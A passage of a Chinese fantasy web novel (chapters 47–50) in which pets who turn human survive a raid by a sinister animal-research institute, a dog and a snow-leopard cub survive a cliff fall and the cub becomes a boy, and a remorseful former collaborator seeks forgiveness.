“嗷呜!”可乐发出绝望的悲鸣,它拼尽最后一丝力气,在坠落的瞬间扭转身躯,用自己庞大厚实的背部朝向下方,同时用前爪温柔地将那团吓傻了的石崽,紧紧地护在了自己柔软的肚皮之间。
两个紧紧依偎的身影,在陈开心目眦欲裂的嘶吼,在汉堡和包子惊恐的呼喊,在雪碧凄厉的尖叫中,在黑衣队员绝情的注视下,被下方无边的黑暗和呼啸的山风吞噬。
悬崖边只剩下几块被带落的碎石,翻滚着坠入深渊,发出遥远的回响。
“可乐!石崽!”陈开心的喊叫声撕心裂肺,冲破喉咙的腥甜,眼前一片血红。
汉堡像疯了一样冲向悬崖边,被包子死死抱住腰拖了回来,他漂亮的脸上满是泪水和狰狞的愤怒,对着那些黑衣队员发出野兽般的嘶吼:“喵嗷!我跟你们拼了!”
雪碧瘫坐在悬崖边,看着深不见底的崖底,怀里紧紧抱着他的零食袋,第一次,里面的肉干再也引不起他丝毫兴趣,只剩下无尽的悲伤,嘴里无意识地喃喃:“没了……可乐没了……小豹子也没了……”
包子死死咬着下唇,碧绿的猫瞳里燃烧着愤怒的火焰,他盯着那些正在逼近的黑衣队员,身体控制不住地颤抖。
石坎长老拄着拐杖,在几个寨民搀扶下赶到悬崖边,苍老的脸上第一次露出了深切的悲恸和无法抑制的怒火。
卫平亮站在装甲车顶,看着悬崖方向,墨镜下的嘴角似乎勾起了一丝满意的弧度。
猎物虽然坠崖,但至少清除了一个重大威胁和潜在的研究样本。
他冷酷的声音又响起:“目标已清除,现在全力搜捕剩余异化个体!那个绿眼睛的,还有那只猫,那头猪,都要活的!”
他的一声令下,宛如丧钟,回荡在弥漫着悲伤的黑石寨上空。
47.动研所的真相
几个黑衣队员地枪口如同索命的恶鬼,一步一步逼近陈开心他们。
雪碧瘫软在地,怀里那个视若珍宝的零食袋,此刻像块冰冷的石头,压得他喘不过气,耳边簌簌风声仿佛都变成了悬崖下呼啸的寒风。
“喵嗷!来啊!挠死你们!”汉堡漂亮的脸上泪痕未干,亮出并不存在的爪子,对着黑洞洞的枪口发出徒劳的威胁。
包子将陈开心挡得更严实,碧绿的猫瞳缩成针尖,身体伏低,喉咙里滚动着威胁的嘶嘶声。
石坎长老在寨民的搀扶下,拄着拐杖的手青筋暴起,苍老的眼中是滔天的怒火和无力回天的悲怆。
就在那冰冷的枪口即将抵上包子的额头,手指即将扣下扳机时。
“住手!”一声暴喝从天而降。
紧接着,寨口方向传来一阵刹车声和密集的脚步声。
几辆印着蓝白涂装,车顶闪烁着警示灯的越野车蛮横地挡在动研所的车辆前面。
一个矫健的身影率先跳下车,来人正是动保局的孙栋。
他脸色铁青,眼中燃烧着熊熊怒火,身后是同样全副武装,神情肃杀的动保局队员。
“卫平亮!立刻命令你的人放下武器!停止一切攻击行为!”孙栋高举着手中的通讯器,嗓门洪亮,“我以动物保护局特别行动队长的身份宣布,你们在无视潜在生命威胁,破坏少数民族聚居地,造成重大人员财产损失的情况下进行的净化行动,已被紧急叫停!上级命令你们立即撤出黑石寨!重复,立即撤出!”
孙栋的出现和他身后那一排排荷枪实弹,明显更偏向陈开心他们的动保局队员,像一盆冰水浇在即将沸腾的油锅上。
动研所的黑衣队员们动作稍显一滞,枪口下意识地垂低了几分,齐齐回头看向车顶的卫平亮。
卫平亮脸上的狞笑瞬间僵住,变得极其难看。
他摘下墨镜,露出一双布满血丝的眼睛,死死盯着孙栋:“孙栋!你少拿鸡毛当令箭!我们是在执行最高优先级净化令!清除对人类有潜在威胁的异常生物!你这是在包庇……”
“包庇?!”孙栋厉声打断他,一步踏前,手指指向周围燃烧的房屋,受伤呻吟的寨民,“看看你干的好事!卫平亮!这就是你说的清除威胁?用震撼弹、麻醉枪,甚至可能动用了爆.炸物,攻击一个与世无争的古寨?你的证据呢?!你的风险评估呢?!你要逮捕的威胁在哪里?!”
他目光如炬,扫过被包子护着的陈开心,扫过愤怒的汉堡,扫过吓傻的雪碧,最后定格在卫平亮脸上:“我现在有充分的理由怀疑,你滥用职权,公报私仇,为了某种不可告人的研究目的,故意制造恐慌和伤害!再敢动一下,我的人将以危害公共安全、非法使用武器、破坏民族关系等罪名,将你们现场逮捕!”
孙栋的话掷地有声,字字诛心。
随着他右手一挥,他带来的动保局队员立刻呈扇形散开,在寨民们身前站定,形成一堵人墙,枪口直直指向动研所的人。
寨民们看到援兵,绝望的眼神中重新燃起一丝希望,纷纷聚拢过来,愤怒的目光恶狠狠地瞪着动研所的人。
卫平亮脸色由红转青再转白,他死死攥着拳头,手背上青筋毕露。
他清楚,孙栋敢带人硬闯抓捕现场,手里必然握有更高层级的紧急叫停令,再僵持下去,一旦发生交火,无论结果如何,他都无法收场。
“好……很好!孙栋!”卫平亮从牙缝里挤出几个字,眼神阴鸷得能滴出水,“你有种!我们走!”
他几乎是咆哮着下达命令,“收队!撤!”
动研所的黑衣队员们如蒙大赦,迅速收起武器,动作麻利地退回装甲车。
引擎轰鸣着,几辆钢铁巨兽带着不甘和狼狈,碾过废墟,仓惶地从炸开的豁口退了出去,只留下满地狼藉。
直到最后一辆装甲车的尾灯消失在寨外的山路拐角,孙栋才重重松了口气,挥手收了队。
他快步走到石坎长老面前,深深一躬:“长老,对不起,是我们动保局失察,我们来晚了!让您和族人受苦了!”
石坎长老布满沟壑的脸在火光映照下更显苍老,他浑浊的目光缓缓扫过仍在燃烧的屋舍,扫过族人身上斑驳的血迹,眼神里翻涌着滔天的悲愤。
许久,他干裂的嘴唇才微微翕动:“你们……终究是……有心了。”
孙栋点点头,心头沉重,目光投向悬崖边那个仿佛被抽走了所有魂魄的身影。
陈开心跪在地上,脸埋在掌心里,肩膀在无声地耸动着。泪水混合着泥灰,在他脸上冲出几道狼狈的泪痕。
可乐那纵身一跃的决绝,石崽惊恐的尖叫,仿佛最残酷的慢镜头,在他脑海中反复播放,让他痛得无法呼吸。
孙栋走过去,用力拍了拍陈开心的肩膀:“陈开心,振作点,现在不是伤心的时候。卫平亮是个疯子,他绝不会善罢甘休!我担心他会去而复返,或者玩阴的。我和我的小队会暂时留在寨子里,协助防御,保护你们的安全,直到……直到事情有个结果!”
陈开心的身体在孙栋的手掌下一震,他像是被一股强大的力量从深水中拖拽出来,木然地抬起头。
泪水模糊的视线里,是孙栋那张写满坚毅的脸。
陈开心的嘴唇控制不住地颤抖,似乎想说什么。
他想嘶吼,想质问苍天,为什么偏偏是他?想倾诉无尽的悔恨,他为什么要来黑石寨,这一切灾祸,不都是他带来的吗?
他还有什么脸面,再去请求这些已经为他承受了太多苦难的寨民们,去帮他寻找坠崖的可乐?
最终所有的声音都哽在了陈开心的喉咙深处,只化作一声破碎的呜咽。
他一点点挣脱开孙栋的手,双手抓住自己凌乱的头发,身体蜷缩成一团,仿佛要将自己从这个充满伤痛的世界里彻底隐藏起来。
一只温暖的手落在陈开心被冷汗浸透的头发上,轻柔地抚摸着。
云朵不知何时已跪坐在他身边,她的声音如山涧最清澈的溪流,似乎有种能穿透绝望的宁静。
“开心,别怕。石崽他是山神的孩子,这莽莽群山是他的摇篮,这悬崖峭壁是他自幼嬉戏攀爬的地方。你要信他们,更要信山神。山神会张开怀抱,佑护他的孩子,还有……佑护那个拼命保护石崽的勇敢朋友,让他们都安然无恙的。”
她嗓音不大,却清晰地传入周围每一个竖起耳朵倾听的寨民耳中。一种源自古老信仰的慰藉,仿佛无形的涟漪,在绝望的废墟上悄然荡开。
几个原本低声啜泣的妇人,下意识地望向远处云雾缭绕的山巅,双手合十,嘴唇无声地翕动起来,默念着流传了不知多少代的山神祷词。
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与此同时,数千公里之外。
充满消毒水气味的动研所大厅,冰冷的光线从高耸的天花板倾泻而下,映照着光可鉴人的大理石地面,也映照着范司杞毫无血色的脸。
他一下出租车就狂奔而来,那条打着石膏夹板的伤臂传来一阵阵钻心的锐痛,额头的冷汗不断滑入眼角,他却根本无暇顾及这咸湿的刺痛。
他在医院里收到风声,卫平亮那个疯子调动了重装小队,要去偷袭黑石寨。他脑子里全是可乐奋不顾身撞开他,最后浑身浴血的模样,还有陈开心绝望的眼神。
“卫平亮呢?他在哪?!”范司杞像一头受伤的困兽,抓住一个路过的研究员,仅剩的右手死死拽着对方白大褂的前襟。
那研究员被他狰狞的表情吓了一跳,结结巴巴地说:“卫……卫主任?他带……带突击队去执行净化任务了,刚走……”
“净化?!”范司杞的心沉到了谷底,他甩开研究员,跌跌撞撞地冲向指挥中心,希望还能阻止。
可指挥中心大屏幕上已经显示着行动结束,卫平亮那志得意满的声音从通讯器里传来:“此次行动清除一个重大威胁,幼生体样本丢失,但主要目标已控制,准备返航……”
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“卑鄙!”范司杞一拳砸在墙壁上,指骨生疼,却比不上心里的悔恨和愤怒。
他还是来晚了,太晚了。
他失魂落魄地转过身,像一具被抽走了所有提线的木偶,拖着沉重的脚步,在动研所里漫无目的地游荡。
惨白的灯光打在他身上,在身后拉出长长的,扭曲变形的影子,像是一个徘徊在地狱边缘的孤魂。
不知不觉,范司杞走到了一处戒备森严的区域,厚重的金属门上印着猩红的“A级生物研究区,非授权严禁入内”字样。
门紧闭着,旁边的密码锁和虹膜扫描器闪烁着幽冷的光。
范司杞没有权限,进不去,可旁边一个观察室的门意外地虚掩着,泄露出一片明亮的白光和低沉的交谈声。
鬼使神差地,范司杞停下了脚步,像被无形的线牵引着,悄无声息地挪到了观察室的门口。
他屏住呼吸,目光穿过门缝,投向里面。
观察室内,几个穿着白大褂的研究员背对着门口,正聚精会神地盯着墙上几块高清显示屏,指指点点,低声讨论着。屏幕发出的冷光映在他们脸上,呈现出一种麻木的表情。
其中一块屏幕上,在播放着一段令人毛骨悚然的视频录像。
画面中央是一个金属解剖台,无影灯惨白的光线打在上面。台上固定着的是一只体型健硕,有着一身漂亮虎斑纹的成年猫,这只猫的眼睛是清透的碧绿色,和包子的眼睛几乎一模一样。
更让范司杞气血上涌的是,这只绿瞳猫还活着,它的四肢被金属扣死死锁住,身体在剧烈地抽搐,喉咙里似乎被插着管子,只能发出绝望的哀嚎。
几个戴着橡胶手套,拿着手术器械的研究员,正冷漠地对着镜头讲解着什么,手术刀在绿瞳猫肢体间游走。
“啧啧,看这心肌的强韧度,还有神经反射的速度,远超普通家猫数百倍,果然是优质的实验素材!”
“可惜了,这个个体精神抵抗太强,注射了三倍剂量的镇定剂才勉强控制住,不然活体神经电流测试数据会更完美。”
“畜生嘛,就该物尽其用,能为伟大的科研献身,是它的福气。早点把数据提取完,处理掉,腾地方给下一批。”
研究员毫无感情的讨论声,像一根根银针扎进范司杞的心脏里。
“呕!”他再也忍不住,胃里翻江倒海,弯腰将早上吃的那点素斋混合着酸水,全都吐在了动研所光洁如镜的地板上。
刺鼻的酸臭气味顿时在密闭的走廊里弥漫开来。
观察室里的研究员被惊动,皱眉看了过来,眼神里带着被打扰的不悦和看垃圾般的鄙夷。
范司杞却顾不上这些,他扶着墙,止不住地干呕着,仿佛要把自己的五脏六腑都掏空出来,眼泪和鼻涕不受控制地涌出,糊满了他整张脸。
他眼前全是那只碧绿色猫瞳被解剖的视频,还有那句“畜生就该物尽其用,为科研献身”。
他终于明白了!彻彻底底地明白了!他错得有多么离谱!多么不可饶恕!
他一直以为自己是在替天行道,是在守护人类安全,他以为动研所和他一样,秉持着崇高的理想,清除那些可能危害人类的“异类”、“妖物”!他引以为傲的天眼,他深信不疑的使命……
可实际上呢?
他成了卫平亮这种疯子手里的刀!成了帮凶!他帮着这群披着人皮的恶魔,用他的天眼去识别变成人的动物,然后带他们去捕捉,去折磨,去解剖……那些像可乐一样会为了保护主人而拼命的生命。
范司杞看着自己那只曾用来施法,此刻却沾着呕吐物的手,胃里又是一阵翻搅。
天呐,他犯下了不可饶恕的罪孽。
他靠着墙滑坐在地,在呕吐物的酸臭中,像个孩子一样,蜷缩着双手抱住自己,无声地哭泣着。
范司杞的整个世界,连同他过去所坚信的一切,在此刻彻底崩塌了,只剩下无边无际的黑暗和永世无法赎清的罪孽。
48.雪豹变成人
“噗通!”
冰冷刺骨的水流包裹了可乐庞大的身躯,自由落体的冲击力让它眼前一黑,胸腔里的空气被狠狠挤压出去。它本能地收紧四肢,将怀里那团瑟瑟发抖的小生命更紧地护在肚皮之间。
湍急的暗河像一只无情的大手,推动着他们向下游冲去。可乐拼命蹬着腿,试图把头探出水面,以免被呛水而窒息。
石崽被激流冲得快要脱手,小小的爪子死死抠住可乐厚实的毛发,发出惊恐的“咪嗷”尖叫。
不知过了多久,也许几分钟,也许只是几秒,在令狗绝望的等待中,水流的速度似乎慢了下来。
可乐用尽最后的力气,凭借阿拉斯加犬天生的游泳本能和强大的求生意志,挣扎着将石崽顶上了一片湿滑的岩石浅滩。
它自己则耗尽力气,瘫软在石滩边缘,任由河水冲刷着疲惫不堪的身体。
“呜……”石崽趴在石滩上,浑身湿透,漂亮的灰白色皮毛沾满了污泥和枯叶,冻得瑟瑟发抖,冰蓝色的眼睛害怕地环顾着这陌生的崖底世界。
四周是布满青苔的岩壁,头顶只有一线狭窄的天空,瀑布的响声在这一线天里回荡,震耳欲聋。空气潮湿阴冷,散发着腐烂植物的气味。
可乐艰难地挪动着身体,凑到石崽身边,用自己湿漉漉的大舌头,一遍又一遍地舔舐着小雪豹颤抖的身体,试图用自己的体温温暖它,喉咙里发出安抚的呜咽:“汪……不怕……不怕……”
石崽感受到了熟悉的气息,像抓住救命稻草般,拼命往可乐潮湿的胸毛里钻,汲取着那微弱的热量,一大一小两个落汤鸡般的身影紧紧依偎在石滩上。
崖底的日子漫长得超乎想象,阳光在狭窄的一线天中只做短暂的停留,而它们最大的敌人是寒冷和饥饿。
可乐后腿的麻醉效力退去,但被岩石刮擦的伤口火辣辣地疼,可看着可怜兮兮的石崽,它不得不拖着伤腿,在浅水区搜寻一切可以果腹的东西。
它用鼻子拱开湿滑的石头,找到一些被水流冲上来的小水虫;它冒险进入水流稍缓的浅滩,笨拙地用爪子拍晕小鱼。
虽然新伤加上旧伤让可乐浑身感到剧痛,但它总是微笑着把那些小鱼和水虫,优先推到石崽面前。
“咪呜……”石崽看着面前还在扭动的小鱼,冰蓝的眼睛里充满了犹豫的抗拒,它是雪豹,本该吃肉的。
可看着可乐鼓励的眼神,它鼓起勇气伸出小爪子扒拉了一下小鱼,最终还是饥饿战胜了陌生食物的恐惧,学着可乐的样子,小心翼翼地撕咬起来。
小鱼的味道腥涩,远不如寨子里的肉干,但能活命。
石崽虽然年纪小,但是长期跟在云朵和阿依后面辨认药草以及雪豹天生的敏锐力,让它很快就在石缝下面找到了一种散发着特殊清香的植物。
它用小爪子小心翼翼地刨出来,叼到可乐受伤的后腿旁,用鼻子拱拱伤口,再拱拱那草叶。
可乐明白了它的意思,忍着疼,小心地嚼碎那些草叶,将苦涩的汁液涂抹在伤口上。那草叶似乎真有奇效,火辣辣的疼痛感慢慢被一种清凉的麻痒取代,伤口也不再轻易渗血。
到了晚上,崖底更冷了,可乐带着石崽找个晓石洞,将石崽整个圈在自己怀抱里。
石崽蜷缩在它柔软的腹部,感受着大狗沉稳的心跳和均匀的呼吸,眼睛在黑暗中警惕地观察着四周,耳朵捕捉着任何一丝异常的声响。
有时,岩石高处传来窸窸窣窣的声音,或是某种生物滑过水面的轻响,它会立刻竖起耳朵,喉咙里发出低沉的警告咕噜声,用身体紧紧贴着可乐。
可乐则会用鼻子蹭蹭它的小脑袋,低低呜咽,示意它安心。
一狗一豹相依为命了一天一夜,眼巴巴地等待着陈开心他们。
第二天夜晚又很快降临,与之同来的是骤降的气温,淅淅沥沥的雨水夹杂着细小的冰粒落下,崖底变得更加阴冷。
石崽终究太小,体质不如成年阿拉斯加犬强健,连日潮湿的毛发加上神经高度紧绷,它病倒了。
它窝在可乐怀里,小小的身体烫得像块火炭,原本有神的眼睛失去了光彩,变得浑浊无光,口中时不时发出痛苦的呻吟,连水也喝不下去。
“咪……呜……”石崽叫声虚弱得几乎听不见。
可乐急得团团转,用鼻子不停地拱着石崽滚烫的小身体,用舌头一遍遍舔舐它紧闭的眼睛,喉咙里发出焦虑的呜咽。
它拖着伤腿,在寒冷的雨水中更加疯狂地搜寻食物和那种能治伤的草药,将所有能找到的草叶嚼成糊糊,试图喂给石崽,可石崽连吞咽的力气都没有了。
绝望渐渐占据了可乐的心脏,它只能将石崽搂在怀里,尾巴盖在它身上,用自己全部的温度去温暖它,用大脑袋蹭着它。
可一切都是徒劳,石崽的体温在它怀中一点点流逝,呼吸越来越微弱,冰蓝的眼睛慢慢失去了焦距。
就在可乐以为它断气了,哭得上气不接下气,眼泪鼻涕糊了石崽一身时,石崽小小的身体突然抽搐了一下,一股耀眼的金色光芒从它心口的位置爆发出来。
光芒瞬间包裹了石崽变得僵硬的身体,形成一个温暖的光茧。
光茧之中,石崽那身漂亮的灰白色豹纹皮毛如融化的冰雪般褪去,露出底下光洁的皮肤,它的四肢在拉长,骨骼发出细微的噼啪声,小小的豹爪变成了人类孩童般的小手小脚……
就这样过了几十秒,光芒散去后,躺在可乐怀里的,不再是那只瑟瑟发抖的小雪豹,而是一个看起来约莫八九岁的人类小男孩。
小男孩有着一头柔软的银白色短发,皮肤白皙得近乎透明,脸颊因为高烧泛着不正常的红晕。
他紧闭着双眼,长长的睫毛像蝶翼一样覆盖下来,身上没有任何衣物,赤裸的身体在寒风中瑟缩着。
可乐彻底惊呆了,一双狗眼睁得溜圆,难以置信地看着怀里这个陌生又熟悉的小人儿。
这难道是石崽?!
“汪?”它用湿漉漉的鼻子碰了碰小男孩滚烫的额头,发现他虽然呼吸微弱急促,但却奇迹般地有了生命的气息。
小男孩在它的触碰下,无意识地发出一声呻吟,小脑袋往可乐厚实的颈毛里蹭了蹭,似乎在寻求熟悉的温暖。
可乐立刻明白了,它调整了一下姿势,将这个脆弱的新生小生命更安全地护在自己肚皮之间,用体温为他驱散寒冷。
它眼角还挂着晶莹的泪珠,眼眸中却不再焦虑,目光炯炯地注视着石崽,然后暗暗松了口气,和他抵头而眠。
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崖顶,黑石寨。
三天了,距离可乐和石崽跳崖已经过去了整整三天。
寨口的豁口在寨民和动保局队员的共同努力下,用原木和黑石勉强堵住,但寨子的灾后重建仍需要些时日。
陈开心、包子、汉堡和雪碧,在孙栋和几位熟悉地形的
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寨民带领下,日夜不停地搜索着崖底。
他们走过奔腾的暗河,攀爬陡峭的岩壁,呼喊的声音在幽深的谷底反复回荡,最终被咆哮的水声吞没。
“可乐!石崽!”陈开心的嗓子早已嘶哑,每一次呼喊都能尝到喉咙里的血腥味。
“傻狗!听到就应一声啊!”汉堡漂亮的脸上沾满污泥,猫眼里布满血丝,嗓音带着哭腔。
包子始终沉默,但那双碧绿的猫瞳锐利如鹰隼,不放过任何一丝可疑的痕迹。
他蹲下身,仔细检查着河边一片被压倒的苔藓,手指捻起一点暗褐色的,快要被雨水冲刷干净的痕迹,凑到鼻尖嗅了嗅。
“是血……狗的血!时间刚过去不久!”他惊喜地招呼陈开心过来看。
“这边有爪痕!新的!”一个寨民也指着不远处的一片泥地呼喊。
那里确实有几道深深的,看上去属于大型犬类的爪印,方向指向河滩下游,靠近岩壁的灌木丛。
他们立刻沿着爪印往下游走去,拨开茂密带刺的灌木和湿滑的藤蔓,继续蹒跚前行。
拨开最后一丛遮挡视线的蕨类植物,一个被岩石半掩的小山洞出现在众人面前。
洞口散落着一些啃食过的鱼骨和水虫壳,空气中弥漫着熟悉的狗味和一丝若有若无的草药清香。
“可乐!”陈开心心提到了嗓子眼,第一个冲了进去。
山洞不大,光线昏暗。当众人的眼睛适应了洞内的光线时,映入眼帘的景象让他们顿时屏住了呼吸,每个人脸上都洋溢着欣喜。
在山洞深处相对干燥的角落里,铺着一些干枯的苔藓和柔软的枯草,他们的可乐,那条伤痕累累但生命力顽强的大狗,正静静地趴卧在那里。
更让人震惊的是,可乐的怀里还蜷缩着一个银发小男孩!
男孩赤着身体,睡得并不安稳,小眉头紧紧蹙着,脸颊泛着病态的红晕,呼吸略显急促,裸露的皮肤青一块紫一块。
可乐看到冲进来的众人,尤其是陈开心,它激动地想站起来,却牵动了伤口,发出一声压抑的痛哼。
但它显然顾不上疼痛,努力昂起头,喉咙里发出喜悦的狗叫,尾巴在身后努力地摇晃着,眼睛可怜巴巴地看着陈开心,又低头看看怀里的小男孩,眼神里充满了温柔。
“可乐!”陈开心扑了过去,颤抖的手抚摸上大狗的脑袋,眼泪汹涌而出,“傻狗……你还活着……你还活着!”
汉堡和雪碧也围了上去,又是哭又是笑,手忙脚乱地检查可乐的伤势。
包子迅速脱下自己的外套,轻柔地将那个昏迷不醒的银发小男孩包裹起来,抱在怀里,入手灼热的体温让他眉头一皱。
“石崽……这是石崽……”石坎长老的儿媳阿依捂着嘴,眼泪掉了下来,“山神保佑……山神显灵了!他变成了人……是可乐救了他!”
走在陈开心后侧的孙栋若有所思地看着眼前这匪夷所思的一幕,他没见过石崽,但通过阿依的话他能推断出这个小男孩以前不是人。
他来不及细想,有条不紊地指挥人群后方的队员:“快!准备担架!立刻把他们送回寨子!孩子发高烧,狗也需要紧急治疗!一定要快!”
动保局的队员和寨民们动作麻利地把可乐五花大绑固定在简易担架上,一步深一步浅地将它抬出了山洞。
就在他们沿着来路返回黑石寨时,一个意想不到的身影,突兀地出现在刚刚修复的寨门之外。
49.石崽的救赎
范司杞比之前憔悴了很多,脸色灰败,眼窝深陷,颧骨高高凸起。
那条打着夹板的伤臂无力地垂着,身上的花衬衫沾满了干涸的泥点,早已看不出原来的颜色。
他不再是那个玩世不恭的道士,更像一个被抽空了灵魂,只剩下一具残破躯壳的流浪汉。
范司杞直挺挺地跪在寨门外,一动不动,姿态卑微到了尘埃里。
寨门瞭望台上的寨民第一时间发现了他,立刻敲响了示警的木梆。
“梆!梆!梆!”急促的梆子声打破了寨子刚刚恢复的一丝宁静。
陈开心一行人的脚步顿住,万万那没想到竟然能在这个地方遇见范司杞。
“是那个坏人!”汉堡呲着牙,项圈都压不住他想扑上去撕咬的冲动。
雪碧下意识地将担架护得更紧,俯下身体将可乐护在身下。
包子往前一步,挡在了陈开心身前,喉咙里发出低沉的警告。
孙栋和动保局的队员们也立刻进入警戒状态,枪口暗戳戳地指向寨门外那个孤零零的身影。
陈开心把怀里的石崽送到孙栋手中:“孙警官,麻烦你先带他们去治疗。”
孙栋接过石崽,看看范司杞,又看了看陈开心,清楚这是他们的私事,便领着队员们抬着担架走了。
石坎长老在阿依的搀扶下也来到了寨门内,浑浊的目光紧锁着跪在门外的范司杞,神情悲怆:“司杞,别来无恙。”
此言一出,陈开心惊诧不已:“长老,您认识他?”
范司杞认识石坎长老?慧明大师也曾在此居住……
陈开心心中念头急转,一个惊人的猜测浮上心头,难道范司杞与慧明大师……
石坎微微颔首,声音低沉而悠远:“他当年走投无路,机缘巧合之下,曾在檀香林旁边的山头修炼过。”
“那慧明大师?”陈开心呼吸一窒,隐隐感到事情远比想象中复杂。
“慧明……”石坎长老顿了顿,目光投向远方,仿佛穿透了时光,“那时我刚成为黑石寨的大长老。他们一个在檀香林参禅,一个在檀香山修炼,本是隔山相望。直到那一天,地龙吟嗡声四起,我为了一探究竟,只身闯入钟乳洞,才在那里同时见到了他们两人。”
“也就是说慧明大师和范司杞,他们早就相识?!”陈开心只觉得一股寒意从脊背窜起,惊出一身冷汗。
石坎长叹一声:“我最后一次见到慧明,是在一年前。他那时发须尽白,形容竟然枯槁如百岁老人,眼神却异常矍铄。他来向我辞行,说是要去寻找佛的有缘人,以完成佛意。后来,檀香林被划作了景点,司杞也下山去了。”
佛的有缘人?
“可是慧明大师已经圆寂了。”陈开心低声说道。
石坎看向他,眼神意味深长:“那正说明他已经找到了有缘人。”
陈开心呼吸一滞,他猛地想起汉堡和可乐化形的前一天,正是在寺庙之中,而遇见慧明大师,也是在寺庙,难道这一切冥冥之中早有定数?
但是变成人的动物不止汉堡和可乐啊,雪碧、包子、石岩、云朵,还有刚刚化形的石崽……为什么石坎长老独独指向他,认定他是慧明寻找的人?而不是其他任何一个?
范司杞跪伏的身体颤抖得更加厉害,头颅低垂,将额头更深地抵在石地上,仿佛要将自己卑微地埋进地底。
他沙哑的嗓音断断续续,却清晰地传入了每个人的耳中。
“对……对不起,我错了……我真的知道错了……我是罪人……是我供出的黑石寨,我不敢……奢求原谅……只求……只求一个……赎罪的机会,求求你们……让我……做点什么……哪怕……用我的命……”
他的忏悔充满了无边的绝望,每一个字都像发自肺腑,与他之前那副阴鸷算计的模样判若两人。
可没人敢轻易相信,谁知道这是不是卫平亮的新阴谋?是不是范司杞为了再次接近他们而演的一场苦肉计?
陈开心下意识地后退了一步,眼神里充满了不信任的警惕,领着其他人走了。
石坎看着跪在地上忏悔的范司杞,闭上苍老的眼睛,眼不见为净,拄着拐杖也转身离开。
沉重的寨门在范司杞眼前缓缓关上,没人理会忏悔的他,他就这样在寨门外的地上跪着,不吃不喝,不眠不休。
白天承受寨民们好奇鄙夷的目光,夜晚忍受着山风的寒冷,他嘴唇干裂出血,那条伤臂因为长时间的压迫,疼痛钻心,但他仍然一动不动,像一棵正在风化的枯树。
时间一点点过去。
直到第三天清晨,石崽醒了。
他用人类的眼睛好奇地打量着这个熟悉又陌生的世界,对一切都感觉新奇。
他很快适应了人类的双腿,跌跌撞撞地在吊脚楼里跑来跑去,冰蓝色的大眼睛纯净得像雨后的晴空,不染一丝尘埃。
他记得可乐温暖的怀抱,记得包子的绿眼睛,记得汉堡哥哥漂亮的脸,记得雪碧哥哥口袋里的肉干香……但他完全忘记了坠崖前的恐惧,也完全没有意识到寨门外那个跪着的陌生人代表着什么。
这天早上,云朵在火塘边烤了几个香喷喷的土豆,石崽好奇地凑过去,小手被烫了一下,委屈地吹着气。
云朵笑着掰开一个烤得软糯的土豆,吹凉了,塞到他小手里。
石崽捧着热乎乎的土豆,小口小口地吃着,冰蓝的眼睛满足地眯成了月牙。
他无意间透过吊脚楼的缝隙,看到了寨门外那个跪在晨光中,摇摇欲坠的身影。
小人儿歪了歪头,大眼睛里充满了困惑。
那个人看起来好可怜哦,他好像很饿,很冷,就像自己掉到黑黑的山洞底下时一样。
石崽低头看了看自己手里香喷喷的烤土豆,又看了看门外那个身影,小小的眉头纠结地皱了起来。
他记得妈妈说过,要学会分享好吃的。
小人儿做出了决定,他小心翼翼地捧着那块温热的土豆,迈开还有些不稳的小短腿,跌跌撞撞地朝着寨门跑去。
他踉踉跄跄的身影穿过寨民们复杂的目光,穿过孙栋欲言又止的阻拦,也穿过了陈开心伸出的手。
“崽崽!回来!”陈
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开心焦急地低喊。
但石崽已经跑到了寨门边,寨门开了一道狭窄的缝隙,他灵活地钻了出去,站在了寨门外。
清晨的阳光洒在他银白色的短发上,泛着柔和的光晕,他赤着脚,穿着云朵给他改小的粗布小褂,一步步走到那个跪着的男人面前。
范司杞早已虚弱得意识模糊,只感到一片小小的阴影笼罩了自己,他艰难地抬起头。
映入他模糊视线的,是一双不属于人类的冰蓝色眼眸,那双眼睛正天真好奇地看着他。
一只肉窝窝的手伸到了他的面前,小手里捧着一块散发着食物香气的烤土豆。
“吃……”孩童稚嫩的嗓音仿佛山涧最清澈的泉铃,“不饿……”
范司杞的大脑一片空白,在那双冰蓝色的眼眸前几乎停止了运转,他下意识调动了天眼。
刹那间,眼前这个捧着土豆的小男孩,在他的天眼中,瞬间与一只毛发蓬松,眼神同样纯净懵懂的灰白色小雪豹重叠在一起。
那雪豹的虚影如此清晰,如此真实,它正歪着小脑袋,冰蓝的眼眸好奇地看着他,仿佛在问:“你为什么这么伤心?”
这不是一个人类小孩,这是一只变成人的小雪豹,是他曾经认为会危害人类,必须清除的妖物。
而现在,所谓的“妖物”却在他最痛苦不堪的时刻,用那双稚嫩的小手,捧着他需要的食物,成为了第一个敢接近他的人。
“吃……不饿……”石崽怕他不能明白自己的话,拍拍自己的肚子,又重复了一遍。
范司杞再也支撑不住,身体摇晃了一下,猛地俯下身,额头重重磕在石地上。
滚烫的泪水混合着尘土,汹涌而出,立刻打湿了他面前那一小块黑色的土地。
他肮脏的双手,不敢去触碰那块散发着香气的烤土豆。
石崽困惑地看着这个突然哭得浑身发抖的大人,不明白他为什么不吃。
小人儿想了想,蹲下身,将那块温热的土豆轻轻放在范司杞面前的地上,然后他转过身,迈着小小的步子,在晨光中跌跌撞撞地跑回寨内,只留下身后那个泣不成声的范司杞。
这一幕被寨门内每一个提心吊胆的人都看在眼中。
石坎长老紧握拐杖的手松了松,浑浊的眼中闪过一丝动容。
陈开心抱着跑回来的石崽,心中五味杂陈。
“他……又在演戏吗?”汉堡低声咕哝,猫眼里满是怀疑。
包子沉默地看着,缓缓摇头:“看着不像,他的痛苦应该是真的。”
孙栋眉头紧锁,作为动保局的队长,他需要更谨慎的判断:“无论如何,不能让他进寨子,他的背景太复杂,不能冒险。”
陈开心最终没有出声驱逐,也没有表示原谅,只是抱着石崽,默默走回吊脚楼。
视若无睹,他能做的也仅此而已。
而远处山林的阴影里,一个伪装极好的微型摄像头,正无声地记录着寨门前发生的一切。镜头后,卫平亮看着屏幕上那个跪地痛哭的范司杞和跑回寨子的小男孩,嘴角勾起一抹冰冷而残忍的弧度。
50.被偷袭了
回到寨子里的石崽,开始了磕磕绊绊的“人类生活”适应期。小家伙虽然变成了人形,拥有了五六岁小男孩的模样,但骨子里还是一只懵懂的小雪豹,对人类社会的一切规则都充满了新奇。
云朵给石崽准备了小木碗和小竹筷,教他吃饭。
石崽看着碗里香喷喷的炖肉和米饭,冰蓝的大眼睛亮晶晶的。他伸出小手,像以前当小雪豹时一样,直接就要去抓最大的一块肉。
“崽崽,用筷子!”云朵赶紧拦住他。
石崽疑惑地看着两根小竹棍,又看看自己的手,似乎在比较哪个更好用。
他尝试着学云朵的样子握住筷子,结果两根筷子在他手里像打架一样,怎么也合不拢。
